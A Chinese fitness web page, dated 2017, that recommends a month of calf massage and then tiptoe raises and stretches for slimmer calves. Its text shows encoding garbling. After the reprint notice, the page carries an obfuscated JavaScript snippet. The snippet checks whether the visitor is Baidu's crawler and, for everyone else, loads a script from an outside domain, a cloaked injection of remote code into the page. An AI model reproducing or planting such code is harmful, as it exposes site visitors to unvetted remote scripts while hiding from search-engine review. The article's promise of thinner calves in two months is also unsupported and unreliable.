當(dāng)前位置:首頁 > 減肥 > 運(yùn)動減肥 > 正文

什么樣的運(yùn)動減小腿呢?

2017-04-21 23:46:16  來源:360常識網(wǎng)   熱度:
導(dǎo)語:常常會有一些女性為自己的小蘿卜腿而煩惱,因?yàn)樽约旱男⊥缺容^粗,夏天穿短裙或者冬天穿上打底褲,總是不會太好看的。面對別人修長纖細(xì)的小

常常會有一些女性為自己的小蘿卜腿而煩惱,因?yàn)樽约旱男⊥缺容^粗,夏天穿短裙或者冬天穿上打底褲,總是不會太好看的。面對別人修長纖細(xì)的小腿除了羨慕還是羨慕。其實(shí)不用羨慕別人,如果你能堅(jiān)持進(jìn)行運(yùn)動,也可以讓自己的小粗腿變細(xì)的。具體運(yùn)動方法如下所示:

第一階段:軟化小腿肌肉

時(shí)間:一個(gè)月。

具體做法:

步驟1:用兩手一邊捏小腿的腿肚子上的肌肉一邊從中間向上下按摩,不斷變化按捏的肌肉,重復(fù)5次。

步驟2:象擰抹布一樣左右擰小腿腿肚的肌肉,從腳踝到膝蓋不斷改變擰的地方,重復(fù)5次。

步驟3:兩手握住小腿,大拇指按住小腿前面的腿骨,從下往上按摩,重復(fù)3次。除了拇指,其它手指也要加大力度按摩肌肉。

步驟4、把拇指放在膝蓋上面,兩手握住大腿的肌肉邊按壓邊按摩,重復(fù)5次。

第二階段:小腿運(yùn)動

時(shí)間:一個(gè)月以后進(jìn)行第二階段。

具體做法:

步驟1:小腿踮腳尖

在最高處停留2秒,感到小腿肌群在用力,然后放下。重復(fù)此動作30*3組。運(yùn)動后一定要按摩小腿,做拉伸動作。

步驟2:小腿拉筋運(yùn)動

(1)雙手按在墻上,前后腳站立。

(2)前腳屈曲,后腳蹬直,后腳小腿后方須有拉扯感覺,保持此動作15秒。

(3)回復(fù)直立狀態(tài),放松雙腿。

(4)每天3次,每次重復(fù)以上動作5次,左右腳輪流進(jìn)行。

想要讓小腿變得更細(xì)一些,那么就可以進(jìn)行上文中的動作,首先通過一個(gè)月的訓(xùn)練,讓小腿變的軟化,然后在一個(gè)月后進(jìn)行小腿的拉伸運(yùn)動,這樣經(jīng)過兩個(gè)月后,就可以讓自己的小腿變得細(xì)長。想要美麗,必須付出,所以堅(jiān)持運(yùn)動,才可以讓自己的美得以綻放。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}